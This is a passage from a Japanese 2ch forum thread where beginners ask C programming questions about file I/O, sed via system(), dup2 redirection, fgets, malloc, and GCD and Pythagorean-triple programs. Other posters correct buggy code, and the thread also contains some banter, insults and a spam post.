0512デフォルトの名無しさん
NGNG0513名無しさん
NGNGとかが正しいのでしょうか?
まじで、1年Cを触らなかったら
さっぱり忘れてしまいました。
0514デフォルトの名無しさん
NGNG0515デフォルトの名無しさん
NGNG読まないのか
どっちなんだ?
0516デフォルトの名無しさん
NGNGバイナリーで読むためのファイルの開き方と
16進での表示の仕方がよくわかりません
わかる人がいましたら、よろしくお願いします
0517デフォルトの名無しさん
NGNG以上PHPでした
0518デフォルトの名無しさん
NGNGvoid main(void)
{
int a = 0;
int i = 0; // 試合数のカウント
srand(time(NULL));
while(a != 20)
{
if (rand() % 2 == 0) // 勝ったとき
{
a += 1;
}
else // 負けたとき
{
a -= 1;
}
i++;
}
printf("%d\n", i);//試合数の出力
}
違ってたらスマソ。
0519ビル・ジョブス
NGNG構造体へのポインタかぶせてね。
0520ビル・ジョブス
NGNGとか作れて便利だよ。
0521デフォルトの名無しさん
NGNGaの勝利条件だけで敗北条件がないから、いつかは必ずaが勝つ。
0522クリントン
NGNGえーと、例えばa.txtってファイルがあったとしますよね。
ファイルの中には文字列がたくさんなわけなんですが、
そのなかにある「"」を全部削除したいんです。
何行ぐらいでかけるでしょうか?
0523デフォルトの名無しさん
NGNG10行ぐらい
0524デフォルトの名無しさん
NGNG0525デフォルトの名無しさん
NGNG0526デフォルトの名無しさん
NGNG#include <stdio.h>
int main() {
while(以下略
return 0;}
0527デフォルトの名無しさん
NGNG0528クリントン
NGNGずばり、
記述してください。お願いします・・・。
0529デフォルトの名無しさん
NGNGenumを使ったほうが良いとしている参考書やWeb上のドキュメントは多くありますが
事実define ばかり使われているのは何故ですか?
0530デフォルトの名無しさん
NGNGと定義して MyConst.ver と使うような仕掛けだったら
きっと もっと使われたでしょうね・・・・
0531デフォルトの名無しさん
NGNG#include <stdio.h>
main(){int c;while(c=getchar(),c^EOF)c^34?putchar(c):0;}
>>529
使う人は使ってます
0532デフォルトの名無しさん
NGNG古い環境ではサポートされていないからでしょうか?
流れにあわせてdefineを使っていますが
実際にenum使うと問題起きると思います?
0533デフォルトの名無しさん
NGNG#include <stdio.h>
int main(void){int ch;long l=0L,m=0L;FILE *fp=fopen("a.txt","r+");
do{fseek(fp,l,SEEK_SET);ch=fgetc(fp);if(feof(fp)||ferror(fp)) break;
if(ch!='"'){fseek(fp,m,SEEK_SET);fputc(ch,fp);m++;}l++;}
while(!feof(fp)&&!ferror(fp));fclose(fp);return 0;}
//ファイルの最後にゴミがでるだろうな。
0534デフォルトの名無しさん
NGNG0535クリントン
NGNG本当に5行で書けるとは・・・
正直、疑ってました・・・
世の中にはすごい人がいくらでもいるんですね・・・
・・・すばらしい
0536デフォルトの名無しさん
NGNGバグを消してもっと短く書けます。
ただ、ここを7行スレと同じにするつもりはないので自分で考えて
0538クリントン
NGNGすいません、疑っているわけではないのですが、
別解ありましたら書いていただけますか?
0539デフォルトの名無しさん
NGNG531で既に出ているが?
0541デフォルトの名無しさん
NGNGint main() {
system("sed -e 's/"//g' a.txt");
return 0;
}
0542デフォルトの名無しさん
NGNG#include <stdio.h>
int main(void){int c; FILE *in_f,*out_f; in_f=fopen("a.txt","r");
out_f=fopen("a-new.txt","w"); do{if(!((c=fgetc(in_f))^EOF)) goto _go_out;
(c!='"')&&fputc(c,out_f);}while(1);_go_out: fclose(in_f);fclose(out_f);return 0;}
// 日本語ファイルはだめ。
0543デフォルトの名無しさん
NGNG0544デフォルトの名無しさん
NGNG>system("sed -e 's/"//g' a.txt");
system("sed -e 's/\"//g' a.txt");
0545デフォルトの名無しさん
NGNG7行スレにでも参加しろよ
0546デフォルトの名無しさん
NGNG> 7行スレにでも参加しろよ
こんな題材7行も書く価値はない
0547デフォルトの名無しさん
NGNGいや、な。これをもっていくんじゃなくて、
こんな題材に熱くなる暇があるなら、
7行スレやIOCCCに参加しろってこと。
7行すれもネタが無くて寂しいから
0548デフォルトの名無しさん
NGNG0549454
NGNGその実行結果をファイルに落とすのはどうすればいいのでしょうか?
…
argv[3] = ">";
argv[4] = data;
argv[5] = 0;
ではunrecognised optionと言われました
0550sage
NGNGexec する前に標準出力を結果を出力したいファイルにリダイレクトしとくなり。
0551454
NGNGすみません、いまいちよく分からないのですが
もう少し詳しく教えて頂けないでしょうか?
05521
NGNG0553デフォルトの名無しさん
NGNGfd = open("data", ...);
dup2(fd, STDOUT_FILENO);
close(fd);
execve(...);
みたいな。
0554454
NGNGありがとうございます
助かりました、今からやってみます
0555デフォルトの名無しさん
NGNGメモリ内にポインタ変数を用いて格納されている値を参照する
ことの類似性についておしえてクダサイ。
0556デフォルトの名無しさん
NGNG嫌です
0557デフォルトの名無しさん
NGNGofn.lpszstrの示す文字列ポインタの示す場所へ、それを格納し、
直後のCreateFile()が一時ハンドルを取得し、さらに次のReadFile()
が、その引数のしていする文字列ポインタの場所にバッファを格納する、
これでいいですか?
0558デフォルトの名無しさん
NGNGファイルハンドルとポインタの類似性ですか?
ファイルハンドルはOS内の或る配列のインデックスじゃなかった?
0559デフォルトの名無しさん
NGNG0560デフォルトの名無しさん
NGNG0561デフォルトの名無しさん
NGNGそういう質問の仕方では望みの答えは返ってこないよ
0562デフォルトの名無しさん
NGNG「連続した記憶領域を或る値に書き換える」と覚えておきましょう。
文字列もどこかの記憶領域に格納されていることを考慮すれば、
文字列を全部空白にする、ってことも可能ですね。
0563chichi
NGNG現在Cの勉強をはじめたばかりで、右も左もわかりません!
ご教授、よろしくお願いします。
勉強&Cのファイル操作把握がてら、下のような簡単なソースを作成してみたのですが、
これを、
tempファイルの作成(temp.txt)→正しく作成されたかチェック→
tempファイルに出力(temp.txt)に出力→正しく出力されたかチェック→
ファイル閉じる→正しく閉じたかチェック
・・・と変更したいのですけど、参考書などを見てもあまりよくわからなくて・・・
#include <stdio.h>
#include <stdlib.h>
writefile(){
FILE *fp;
char tofile;
printf("書き込むファイル名:");
gets("tofile");
if((fp* = fopen(tofile,"w")) == NULL){
printf("ファイルをオープンできません。\n");
exit(1);
}
fclose(fp*);
return(0);
}
ビギナーな質問ですみませんが、
よろしくお願いします!m(__)m
0564デフォルトの名無しさん
NGNGfp* ってなんだそりゃ。
0565chichi
NGNGあ、そこまちがえました・・・。
if((*fp =fopen(tofile,"w"))==NULL){ ・・・でした。すみません。
0566デフォルトの名無しさん
NGNGつーか全部無茶苦茶。
0567デフォルトの名無しさん
NGNG0568デフォルトの名無しさん
NGNGまずgets("tofile"); が意味不明
tofileっていう変数に文字列入れたいなら
char tofile[100];
gets(tofile);
と書け。
ファイルポインタの使い方も変。
×if((*fp = fopen(tofile,"w")) == NULL){
○if((fp = fopen(tofile,"w")) == NULL){
×fclose(fp*);
○fclose(fp);
0569sage
NGNG0570デフォルトの名無しさん
NGNG0571
NGNG#include <stdio.h>
int main(int argc, char *argv)
{
FILE *file_ptr;
char output_file[100];
printf("書き込むファイル名 >");
scanf("%s", output_file);
if((file_ptr = fopen(output_file, "w")) == NULL) {
printf("ファイルをオープンできませんでした。\n");
return -1;
}
fclose(fp);
return 0;
}
0572571
NGNGそれから、オーバーフロー起こすとかも言わないでくれ。
0573デフォルトの名無しさん
NGNG0574571
NGNGオーバーフローもしないけど、100字より長い名前のファイルを
作りたいとは言わないでくれよ。
#include <stdio.h>
int main(int argc, char *argv[])
{
FILE *file_ptr;
int i, input_char;
char output_file[100 + 1];
printf("書き込むファイル名 >");
for(i = 0; i < 100 (input_char = getchar()) != EOF) && input_char != '\n'; i++)
output_file[i] = input_char;
output_file[i] = '\0';
if((file_ptr = fopen(output_file, "w")) == NULL) {
printf("ファイルをオープンできませんでした。\n");
return -1;
}
fclose(file_ptr);
return 0;
}
0575chichi
NGNG早速試してみます。
0576デフォルトの名無しさん
NGNG普通、素直に fgets() じゃないの?
つーか、変数名うざいね。(w
闇雲に説明的なのより慣用句にしたがったほうが読みやすい。
0577_________
NGNGfgetsでどうやってオーバーフロー対策するつもりだ?
つーか、知ったかうざいね。(w
0578えめえすでーえぬ
NGNG* み出し、スクリーンに表示します。
*/
#include <stdio.h>
FILE *stream;
void main( void )
{
char line[100], *result;
if( (stream = fopen( "fgets.c", "r" )) != NULL )
{
if( fgets( line, 100, stream ) == NULL)
printf( "fgets 関数でエラーが生じました。\n" );
else
printf( "%s", line);
fclose( stream );
}
}
0580デフォルトの名無しさん
NGNG予め、システムで定められた上限を超えないこと。
0582576
NGNG>>577
gets() とカンチガイ?
char *fgets(char *str, int size, FILE *stream);
>>578
△ if( fgets( line, 100, stream ) == NULL)
○ if( fgets( line, sizeof(line), stream) == NULL)
0583デフォルトの名無しさん
NGNG> for(i = 0; i < 100 (input_char = getchar()) != EOF) && input_char != '\n'; i++)
継続条件がヘン。
0584デフォルトの名無しさん
NGNGコンパイラが適当に何かやってくれたんだろうか・・。
かなり疑問なので分かる人教えれ。
0585出馬鹿ー
NGNG何が疑問なのですか?
まずはプログラムをちゃんと読んでから質問するように。
一箇所気になるところは、
*p++よりもp[i]のほうがわかりやすいと思うのですがどうでしょうか?
(前者の方がほんのわずかに実行効率がいいのですが・・・)
0586デフォルトの名無しさん
NGNG0587デフォルトの名無しさん
NGNG関数に飛ばしたあとに何か変数をつくって
スタックをつぶしてみな
0588デフォルトの名無しさん
NGNGそれはどうかな?
C++Builder4 とVC++(VisualStudio6.0)
でテストしたときにはあきらかに違ったよ。
gccでは知らん
0589デフォルトの名無しさん
NGNGただし
for(int i=0;i<3;i++){}
の代わりに
while(p<p_max){}
を使ってループした場合だけどね
0590クリントン
NGNG#include <stdlib.h>
int main() {
system("sed -e 's/"//g' a.txt");
return 0;
}
がなにをやっているのかさっぱりです。
ヒントをいただけたらなぁ・・・
ヒントください。
0591ブッシュ
NGNGsystemというのは、まあ
それを起動したシェルで""で囲んだ中の処理を実行する関数だな。
system("dir"); とか system("ls"); とかやってみて。
sed は、まあ
適当な文書整形をやってくれる人。
よく知らん。googleかmanを見れ。
0592デフォルトの名無しさん
NGNGsedにつてgoogleで調べよ。
ちなみに今使っているOSはなんですか?
0593デフォルトの名無しさん
NGNG0594592
NGNGUNIX系のOSである必要があると思うよ。
0595デフォルトの名無しさん
NGNG関数に飛ばしたあとCでは変数作れませんよね?
「スタックをつぶす」というのがどういうことか教えてください。
0596クリントン
NGNGwindows2000です。
UNIX以外は関係なかったんですね。
ダブルクォーテーションを消すだけでも
結構難しいものです・・・
しかしここは結構勉強になりますね。
0597教えてください
NGNGひとつ質問なのですが、
getcharやgetcheで、入力を待ち受けているときに
1秒たったら、
getcharやgetche処理を中止して
次の処理に移りたいのですが、うまくいきません。
time_t t1;
t1 = time( NULL );
while( ( time( NULL) - t1 ) / CLOCKS_PER_SEC <= 1 )
dt = getche();
なんて、やってみたら
逆に永遠にgetcheしていました。
何かよい方法はないのでしょうか?
0598デフォルトの名無しさん
NGNG汎用的な方法はないはず。Unix だったら man setitimer してみて。
Windows は他の人にまかせた。
0599これでよいでしょうか?
NGNGF1=1,F2=1であるフィボナッチ数列の第n項目をFnとする。
2数a,bの最大公約数を[a,b]とする。
例えば、[63,81]=9である。
このとき、1以上の自然数に含まれる二数、m,nについて、
F[m,n]=[Fm,Fn]
であることを確かめる
*/
#include <stdio.h>
#include <stdlib.h>
int f[30];
void fib(void);
void fib_print(void);
void check(void);
int main(void)
{
printf("フィボナッチ数列を30項まで表示します\n");
fib();
fib_print();
check();
printf("プログラムを終わります");
return 0;
}
void fib(void)
{
int i;
f[0]=1;
f[1]=1;
for(i=2 ; i<30 ; i++)
{
f[i]=f[i-1]+f[i-2];
}
}
void fib_print(void)
{
int i;
for (i=0 ; i<30 ; i++)
{
printf("%7d",f[i]);
if((i+1)%9==0)
printf("\n");
}
}
0600デフォルトの名無しさん
NGNGint gcd(int a, int b)
{
int r;
if(a<0) a = -a;
if(b<0) b = -b;
while(b != 0){
r = a % b;
a = b;
b = r;
}
return a;
}
int reduct(int *a, int *b)
{
int gcd_ab;
gcd_ab = gcd(*a,*b);
*a /= gcd_ab;
*b /= gcd_ab;
return gcd_ab;
}
void check(void)
{
int m,n,r,s;
printf("\nF[m,n]と[Fm,Fn]を比較します\n");
printf("m:");
scanf("%d",&m);
printf("b:");
scanf("%d",&n);
printf("Fm=%d,Fn=%d\n",f[m-1],f[n-1]);
s=reduct(&f[m-1],&f[n-1]);
r=reduct(&m,&n);
printf("F[m,n]=%d\n",f[r-1]);
printf("[Fm,Fn]=%d\n",s);
}
0601599
NGNGどこか問題があるでしょうか?
良くないと思う部分はどんどん教えてください。
0602デフォルトの名無しさん
NGNGその質問は処理系依存です。
OSと処理系を明示してくれんと答えられない。
0603デフォルトの名無しさん
NGNGあなたの求めている関数は標準ライブラリには存在しないと思います。
UNIXではXの関数を使ってやりました。
Windowsでは開発環境依存のイベントを使ってやりました。
0604デフォルトの名無しさん
NGNG学校の宿題は自分の力でやりましょう。
0605599
NGNG0607デフォルトの名無しさん
NGNGunix だったら select か poll 使うのが普通だと思う
0608599
NGNG行ってきます・・・わざわざありがとうございます
0609デフォルトの名無しさん
NGNG> 自分で考える脳味噌がないなら逝ってよしー
おまえもな
自分で作ったプログラムが良いプログラムかどうかを
自分で考えることができるのかい?
0610577
NGNG言葉足らずですみません。
>>602
一応VCで作っています。(Win Me)
>>603
Windowsでは開発環境依存のイベントを使うと
具体的にどうなるのでしょうか?
0611デフォルトの名無しさん
NGNGC++Builderならばイベントを使えばあなたの目的は達成される。
VCならば....わたしはVCはよくわからない。
0613デフォルトの名無しさん
NGNGaaaaaaaaaaaaa
ss
wwwwwwwww
222222222222
wwwwwwwwwwwww
eeeeeeeeeeeeeee
rrrrrrrrrrrrrr
ddddddddddd
xxxxxxxxxxxxx
cccccccccccccc
vvvvvvvvvvvvv
bbbbbbbbbbbb
ghhgggg
0614デフォルトの名無しさん
NGNG0615デフォルトの名無しさん
NGNGmalloc の返り値をポインタに置き、ポインタ先の内容を使う。
必要無くなったら、free を呼んでメモリ解放ってか。
0616614
NGNG0617デフォルトの名無しさん
NGNGVC++なら[F1]を押して、クリッククリック。
0618デフォルトの名無しさん
NGNG0619デフォルトの名無しさん
NGNGMS-DOSを除いて根底でメモリ管理やっているのはOSだから。
0620デフォルトの名無しさん
NGNG0621デフォルトの名無しさん
NGNG#include <malloc.h>
char *str = malloc(256);
if(str == NULL) {puts("容量足らへん"); exit(-1);}
sprintf(str, "メモリの%s, %sたよ\n", "確保", "でき");
free(str);
>>618 メモリに関する Java のサイト(英文)
http://search.java.sun.com/Search/java?col=jsun&pw=100%25&ws=0&nh=10&qt=memory&Search.x=13&Search.y=9
0622デフォルトの名無しさん
NGNGLocalAlloc()・LocalFree()などの、仮想記憶を含めて
内部ロジックが知りたいのですが?
x86依存してかまいませんが、そんなに依存しませんよね。
0623デフォルトの名無しさん
NGNGx86のメモリ管理なら、
インテル・アーキテクチャ ソフトウェア・デベロッパーズ・マニュアル 下巻
の3章を読め
0624デフォルトの名無しさん
NGNGhttp://www.google.com/search?hl=ja&q=%83A%81%5B%83L%83e%83N%83%60%83%83+x86+%89%BC%91z%83%81%83%82%83%8A+%8A%C7%97%9D&lr=
0625デフォルトの名無しさん
NGNGLocalAlloc()・LocalFree()などの、仮想記憶を含めて
内部ロジックが知りたいのですが?
x86依存してかまいませんが、そんなに依存しませんよね。
ほとんどC言語で書かれてますよね、きっと。
>>621
確保できた場合には表示してませんが、それは仕様ですか?
あと、こう書いたほうが良いとおもいますが・・・
#include <stdio.h>
#include <stdlib.h>
#include <malloc.h>
int main(void)
{
char *str;
if((str = malloc(256)) == NULL) {
puts("容量足らへん");
exit(-1);
} else {
sprintf(str, "メモリの%s, %sたよ", "確保", "でき");
puts(str);
free(str);
exit(0);
}
}
0626デフォルトの名無しさん
NGNGhttp://www.google.com/search?hl=ja&q=%83q%81%5B%83v%83%81%83%82%83%8A+%89%BC%91z%83%81%83%82%83%8A+%8A%C7%97%9D&lr=
0627デフォルトの名無しさん
NGNGマジレスしてしまった623
0628デフォルトの名無しさん
NGNG0629デフォルトの名無しさん
NGNG超サブセットなら。
というかBASICやってたころね。
0630デフォルトの名無しさん
NGNG変換する char *str2type(char*, type*) のような関数を書かなきゃ。
0631デフォルトの名無しさん
NGNG0632ビル・ジョブス
NGNG浮動小数点むちゃくちゃ大変じゃない?
0633デフォルトの名無しさん
NGNGMBCS にしないと、日本のプログラマはHゲーム送ってくれないよ。
0634ビル・ジョブス
NGNGというか、対応する必要が無い。
0635デフォルトの名無しさん
NGNG君の会社が対象にしているマーケットは何だい?
0636デフォルトの名無しさん
NGNGマルエツ
0637ビル・ジョブス
NGNG0638デフォルトの名無しさん
NGNGビル、悪い冗談だぜ。地球人の5人に1人は漢字を使う中国人だぜ?
0639デフォルトの名無しさん
NGNG0640ビル・ジョブス
NGNG0641デフォルトの名無しさん
NGNGprintfに渡った時点でintにプロモートしてるから%dでいいと思うんだけど、
そうなると%hdの存在理由は?
0643おせーて
NGNG0644デフォルトの名無しさん
NGNG環境依存
ANSI だと、確か
short <= int <= long
0645デフォルトの名無しさん
NGNG0646ビル・ジョブス
NGNG厨房丸出しですよー
0647デフォルトの名無しさん
NGNGにある、ピタゴラスの計算を最速で実行するアルゴリズムの答えが
知りたいです。とりあえず、自分の考えたのは次のようなやつ:
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
int main(int argc, char *argv[])
{
/* 最大の数 */
int maxnum;
int a, b;
int a2, b2;
double c, c2;
if (argc != 2) {
printf("usage: pythago num\n");
return 1;
}
maxnum = atoi(argv[1]);
for (a = maxnum; a > 0; --a) {
for (b = a - 1; b > 0; --b) {
a2 = a*a;
b2 = b*b;
c2 = a2 - b2;
if (c2 < 0 || c2 > b2)
continue;
c = sqrt(c2);
if (c - (int)c == 0)
printf("%d %d %d\n", b, (int)c, a);
}
}
return 0;
}
0648デフォルトの名無しさん
NGNG#include <stdio.h>
#include <stdlib.h>
#include <math.h>
int main(int argc, char *argv[])
{
/* 最大の数 */
int maxnum;
int a, b;
int a2, b2;
double c, c2;
if (argc != 2) {
printf("usage: pythago num\n");
return 1;
}
maxnum = atoi(argv[1]);
for (a = maxnum; a > 0; --a) {
for (b = a - 1; b > 0; --b) {
a2 = a*a;
b2 = b*b;
c2 = a2 - b2;
if (c2 > b2)
break;
c = sqrt(c2);
if (c - (int)c == 0)
printf("%d %d %d\n", b, (int)c, a);
}
}
return 0;
}
0649デフォルトの名無しさん
NGNGアルゴリズム的なことはおいといて、
不動小数点演算回路があるとしても、
double をつかうとプログラムの効率が落ちるのでできるだけint を使うように。
int でだめならlong.
longでだめならlong2つに分けるなどして計算する方が早い。
0650デフォルトの名無しさん
NGNG0651649
NGNG0652デフォルトの名無しさん
NGNG> (6,8,10)は全ての数を2で割ることにより(3,4,5)になるので、このような公約数のある場合は除きます
お前のプログラム、除けてないやん。
0653デフォルトの名無しさん
NGNGスマソ..
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
int gcm(int a, int b);
int main(int argc, char *argv[])
{
int maxnum = 1000;
int a, b;
int a2, b2;
double c, c2;
int cnt = 0;
for (a = maxnum; a > 0; --a) {
for (b = a - 1; b > 0; --b) {
a2 = a*a;
b2 = b*b;
c2 = a2 - b2;
if (c2 > b2)
break;
c = sqrt(c2);
if (gcm(b, (int)c) != 1)
continue;
if (c - (int)c == 0) {
++cnt;
printf("%5d %5d %5d %5d\n", cnt, b, (int)c, a);
}
}
}
return 0;
}
0654デフォルトの名無しさん
NGNGint gcm(int a, int b)
{
int c;
if (a < b)
return gcm(b, a);
c = a%b;
if (c == 0)
return b;
return gcm(b, c);
}
~
0655デフォルトの名無しさん
NGNG{
int maxnum = 1000;
int a, b;
int a2, b2;
double c, c2;
int cnt = 0;
for (a = maxnum; a > 0; --a) {
for (b = a - 1; b > 0; --b) {
a2 = a*a;
b2 = b*b;
c2 = a2 - b2;
if (c2 > b2)
break;
c = sqrt(c2);
if (c - (int)c == 0) {
if (gcm(b, (int)c) != 1)
continue;
++cnt;
printf("%5d %5d %5d %5d\n", cnt, b, (int)c, a);
}
}
}
return 0;
}
0656デフォルトの名無しさん
NGNGうちのマシンでだいたい、10秒強。
655のほうが、コンパイラの最適化オプション最大にして、
うちのマシンでだいたい、0.2秒強。
0657gcm = 最大公倍数?
NGNGint main(void)
{
int a, b;
int x, y, z;
int cnt = 0;
for (a = 2;;a++){
for (b = 1;b < a;b++){
x = a*a - b*b;
y = 2 * a * b;
z = a*a + b*b;
if (gcd(y,z) != 1)
continue;
cnt++;
printf("%5d %5d %5d %5d\n", cnt, x, y, z);
}
}
}
int gcd(int a, int b)
{
int c;
if (a < b)
return gcd(b, a);
c = a%b;
if (c == 0)
return b;
return gcd(b, c);
}
0658デフォルトの名無しさん
NGNG>>653-655
>>657
このスレはコンパイラではありません。
まずコンパイラにかけて実行できるか確かめてください。
学校の課題は自分の力でやりましょう。
0659デフォルトの名無しさん
NGNGすばらしい。答えもあってるようなんだけど、その式で間違いないことを
言うには、
「x^2 + y^2 = z^2」を満たすような自然数x, yは、かならず
x = a^2 - b^2
y = 2a*b
(a, bはともに自然数)であらわせる」
っていうことが証明できないといけないような。
0660デフォルトの名無しさん
NGNG> このスレはコンパイラではありません。
> まずコンパイラにかけて実行できるか確かめてください。
コンパイル通らないのあるか?
つか君が全角インデント消さずにコンパイルにかけただけだろ?
> 学校の課題は自分の力でやりましょう。
>>647読んだ?
0662658
NGNG人の脳みそを使うアホPGを養成するのは御免だからね。
0663デフォルトの名無しさん
NGNGやけに絡むね。
0664658
NGNGてゆうか君はもしかして消防?
0665658
NGNG小学生か中学校低学年ならばレスしよう。
もし大学生、社会人だったら芯でくれ。
0666657
NGNG「ピタゴラス数」を google で検索したら
それっぽいのが出てきたのでコードにしてみただけっていう…。
証明は多分ちゃんとされてるものっぽいので探せばでてくるんじゃないかな。
>>661
うちではちゃんと動いたけど…。
gcd()のプロトタイプ宣言が抜けてるとか?
>>664
> gcm = 最大公倍数?
ってのは最大公約数は gcm じゃなくって gcd だろって話です。
m じゃ公倍になるやんていう…。
0671666(ちょと暇)
NGNGいや、だから gcm だと
gcm = greatest common multiple = 最大公倍数
になっちゃうでしょって話。
正しくは
gcd = greatest common divisor = 最大公約数
>>670
というか、ネタなんですか?
0672658
NGNG中学校からやり直してください。
最大公倍数があるか中学校の教科書を読み直してください。
もし社会人で部下だったらクビです。
何度も言うようにコンパイル通るはずがありません。
このスレへのコピぺで間違えていないか確認してください。
0673デフォルトの名無しさん
NGNGいんや、GCM は、Greatest Common Measure の略で、
こっちの方が GCD より一般的だと思う。
(て言うか、俺、学校では GCM っていう言い方しか習わなかった。)
0674658
NGNG習ったということは高校以上ですか?
それにしては頭悪すぎです。
あなたも中学校からやり直しです。
0675671
NGNGうわ、初めて知った(恥
google で日本語のページ検索したら
Greatest Common Measure の方が多かったや…。
どうも勉強になりました。
アホ言ってスミマセンでした。
0678658
NGNG0681658
NGNG最小公倍数との間違いではないですか?
まだ最大公倍数を主張するならば小学生からやり直してください。
0684658
NGNG小学生からやり直してください。
もしくは以下のサイトで勉強してください。
http://www.geisya.or.jp/~mwm48961/math/m3gcm1.htm
0685デフォルトの名無しさん
NGNGそんなもん求めても腹の足しにならん
0688658
NGNG逝きます。
0689658
NGNGC++BuilderやVC++ではプロトタイプを
main以前に置くか、mainを最後にもってくる必要があると思います。
0690デフォルトの名無しさん
NGNG組み込んだぞ。関数名は FormatMessage。こいつはすごいぜ。
sprintf と同じように使えるように Format, AFormat という
スタブも用意したぜ。AFormat は動的な sprintf。デバッグ版も
シカゴのサーバに置いといた。sprintf と多少書式が違うが
気にしないでくれ。
char *str = NULL;
AFormat(&str, "これは%1!d!個の%2です。", 3, "リンゴ");
LocalFree((HLOCAL)str);
0691Ruby!
NGNG_______________________________________________________________
★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆
Del厨断末鬼の叫び!!!
拙い言いがかりからRubyを必死に煽ろうとしたDel厨が逆襲を受けて死亡!
理論的にDelphiはRubyの足元にも及ばないことが証明された!!!
「Ruby撲滅スレ」
http://piza2.2ch.net/test/read.cgi/tech/1001125342/
★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆
0692デフォルトの名無しさん
NGNG文字列の最後にかぎかっこみたいな変な記号が出るんですが・・。
文字列+2文字以上確保すると消えます。同じような現象起こる人いませんか?
cygwinでは\0が1バイトじゃないんでしょうか?
0693デフォルトの名無しさん
NGNG0694デフォルトの名無しさん
NGNGEOFというのは文字通りファイルの終わりという意味なんでしょうが、
いまいち意味がわかりません。
例えば
int c;
while ((c = getchar()) != EOF)
putchar(c);
というものがあった場合、コレはいつ終わるんでしょうか?
0695これでわかる?
NGNGc = getchar(); // 一文字取得
if(c == EOF) break; // 取得に失敗==ファイルの終わりなら抜ける
putchar(c); // 取得した文字を表示
}
0696デフォルトの名無しさん
NGNG0697デフォルトの名無しさん
NGNGたぶん、キー入力にいつ終わりが来るのか、と言うことが知りたいと思われ。
>>696が正解かと
0699デフォルトの名無しさん
NGNG0700デフォルトの名無しさん
NGNG0701デフォルトの名無しさん
NGNGi++はあとでインクリ
++iはさきにインクリ
0704デフォルトの名無しさん
NGNG0705デフォルトの名無しさん
NGNG0706デフォルトの名無しさん
NGNG何か参考に出来る本あります?
2000行のプログラムなんて書けんよ…。
0707デフォルトの名無しさん
NGNGC使ってるならforの中で宣言するな。
0708デフォルトの名無しさん
NGNG>>707一応VC使ってますが・・・。拡張子もcppになってます。
というのはですねぇ。例題で
#include <iostream>
int main()
{
int n = 8;
int* data = new int[n];
for (int i = 0; i < n; ++i) data[i] = n - i;
for (int i = 0; i < n; ++i) std::cout << data[i] << std::endl;
delete [] data;
return 0;
};
ってのがあるんですけど、VCではコンパイルできないようなんですよ。トホホ
0709デフォルトの名無しさん
NGNG0710デフォルトの名無しさん
NGNGSchemeとかXLispとかソース読んでみなよ。
0711デフォルトの名無しさん
NGNG0712デフォルトの名無しさん
NGNG詳説C++プログラミング
http://sonop.tripod.co.jp/
http://sonop.tripod.co.jp/files/magazine/Cmagazine.htmの7月分の34号
0713デフォルトの名無しさん
NGNGVCが悪い。規格上はOKだが、VCではforのかっこの中で宣言した変数は
外で宣言したのと同じ意味になる。つーことで2回目のintは不要。
それと、最後のセミコロンはいらん。
0714デフォルトの名無しさん
NGNG0715デフォルトの名無しさん
NGNGそりゃC++だ
VC++6は仕様が古いのでfor文の全体を{}で括れば回避可能
VC++7からは大丈夫(オプションだけど)
C++ゆえsage
0716デフォルトの名無しさん
NGNGいまのC++でforの( )中で宣言した変数はforのスコープの外には出ない。
VC++はその仕様が決まる前のコンパイラなので、( )の中で宣言した変数は
forスコープの後も生きている。
0717デフォルトの名無しさん
NGNGstd::
ってついてるじゃん、しっかり。
0718デフォルトの名無しさん
NGNGVCの問題でしたか。ありがとうございます。
最後のセミコロンはこの例題だけついてました。
他の例題にはありませんでした。(念のため)
0719デフォルトの名無しさん
NGNGスレ違いごめんなさい
0720デフォルトの名無しさん
NGNGVC++6もオプションで可能。
ただし、windows.hがインクルードできなくなる弊害があったはず
0721デフォルトの名無しさん
NGNGそれはわりと有名なVC++のバグ
回避法として,次のようなdefineをしておくと良いようです
#define for if(0);else
0722デフォルトの名無しさん
NGNG0723デフォルトの名無しさん
NGNGバグじゃないって。仕様が古いだけ。
ANSIの規格がころころ変わったせいでこういうことになってる
0724721
NGNGもう徹底的にアホ丸出しかもわからんね
0726デフォルトの名無しさん
NGNGconsセルとgcの部分。gcは実験目的とかでない限り必須。
あとは(ユニークな)シンボルを実装すれば見かけはLISPっぽくなる。
consセルというのは、carとcdrの対を持つ2分木の枝。
最初はリストのライブラリを作る様なノリでやれば、
破綻はしないと思う。(ここでリスト操作に慣れておく。)
その後、環境(シンボル:carと値:cdrの対の集合)と
read(入力→S式)とeval(S式→評価)と
lambda(コードと環境を持つクロージャ)、
いくつかの制御構造とオペレータ・・・
結構大変かも。1000行程度で終るとは思うけど。
0728
NGNG目に止まったので書き込ませてください。
超初心者なのですがCにチャレンジしようかと思っています。
しかし何から取り付いて良いのか全く解りません。(T_T)
一応産業機器にプログラマなのでニモニックやラダー、製品に特化された言語等には
慣れて居るんですけど こっちは畑違いすぎで全く要領を得られないのでアドバイス頂けないでしょうか?
VCとかで簡単なWIN用アプリとか作ってみたいです。
0729デフォルトの名無しさん
NGNGその仕事の延長で使うのなら特にVCは必要ないと思うが
単にWinのプログラム作るならVC必要ない、Delphiとかの方が楽
0730デフォルトの名無しさん
NGNGなにをインクルードしてよいかわかりません。
ご指導お願いします。
0731デフォルトの名無しさん
NGNGおれはCで核。きみはDelphiを遣え!
0732デフォルトの名無しさん
NGNGWindowsでCを勉強するなら
お金をかけない→MS-DOS+フリーのコンパイラを使う
お金をかける→統合開発環境を買う
というのが一般的ですかね。
窓が出るようなアプリを作るなら"API"とか"MFC"という言葉で検索してください。
0733デフォルトの名無しさん
NGNGC==VCじゃないよ。
0734チビ
NGNG周囲に教えてくれる人がいないなら、VCの入門書を探すのが近道ですね。
私はそうしました。
0735デフォルトの名無しさん
NGNG俺は組込み関係で アセンブラにCも使うけど
Winでプリンタポートで信号出したり 232Cで
テストしたりのコードは Delphiで書いているよ。
産業用 ATコンパチの組込みソフトなんかも Delphi1(win3.1で動く16bit版ね)で
効率良く書けるしね
単にCの勉強兼ねてということになると
VC++ と 組込みCより Delphiと組込みCの方がとっつきいいかも
あ、でも、組込みCのソースの事前デバックの為に持ってる必要はあるかもね
0736デフォルトの名無しさん
NGNGそういうこと思いつく奴はできると思う。
そりゃCommon LISP準拠の処理系作れとか言ったら俺も首くくるけど。
Lispより簡単なインタプリタっていったら後はForth位しかない。
# ForthはForthで奥が深いけどね...
0737デフォルトの名無しさん
NGNG末尾再帰の認識とか、初めてインタプリタを作る人には
